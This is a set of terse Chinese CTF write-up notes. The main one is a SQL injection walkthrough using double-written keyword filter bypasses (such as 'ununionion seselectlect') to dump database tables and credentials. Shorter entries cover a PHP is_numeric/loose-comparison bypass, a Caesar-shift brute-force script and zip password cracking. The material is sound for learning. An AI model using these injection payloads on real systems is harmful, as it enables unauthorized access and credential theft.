打开环境 查看什么类型
输入
输入1'
username='1''&password='1''
字符型
我们开始尝试万能密码
1' or 1=1-- +
发现返回的东西和我们输入不一样 or没了
过滤了or
这个是关键 我们使用双写绕过
1' oorr 1=1-- +
得到了账号密码
我们开始sql注入
1. 字段数
username=admin&password=''1' order by 4-- +''
发现or 过滤了 我们看看
1' oorrder by 4-- +
还是报错 我们接着看看是不是过滤了 by 因为如果过滤了der 他会返回or
1' oorrder bbyy 4-- +
成功了 三个字段
我们开始爆破数据库
0' union select 1,2,database()-- + 报错'1,2,database()-- '
0' ununion select 1,2,database()-- + 报错'un 1,2,database()-- ''
0' ununionion seselectlect 1,2,database()-- +
得到数据库名 geek
开始爆表
0' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'-- +
经过尝试 union select or from where 都过滤了
开始爆数据
0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- +
0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'-- +
都是返回这些名
0' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom geek.b4bsql-- +
得到flag
打开环境
让我们找源文件
我们想到
index.php.bak
下载成功
我们得到备份文件
这里就得到绕过两个 一个是is_numeric() 另一个是==
!is_numeric():
如果为数字或者数字字符串 True
如果不是 返回 false
!0=1
所以我们需要这个是数字或者数字字符串
==
'123a'==123 True
这样就很简单了
key=123
123为数字 所以
!is_numeric() 绕过
因为==弱比较
所以
123=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 true
得到flag
http://www.jsons.cn/quality/
合并
101999966233
CTF在线工具-哈希计算|MD5、SHA1、SHA256、SHA384、SHA512、RIPEMD、RIPEMD160
进行MD5计算
下载得到题目和密文 意思就是让我们解密题目 然后取得偏移量 然后在加密密文
str1 = 'FRPHEVGL'
str2 = str1.lower()
num = 1
for i in range(26):
print("{:<2d}".format(num),end = ' ')
for j in str2:
if(ord(j)+num > ord('z')):
print(chr(ord(j)+num-26),end='')
else:
print(chr(ord(j)+num),end='')
num += 1
print('')
使用代码取得26次的解密
偏移量为13 的时候得到单词
我们把密文加密 偏移量为13
提交flag
改后缀 为zip
暴力破解
同理
下载文件 查看属性
提到password 说明加密
我们改后缀
没有提示 只有刚刚的那个not password 试一试
得到flag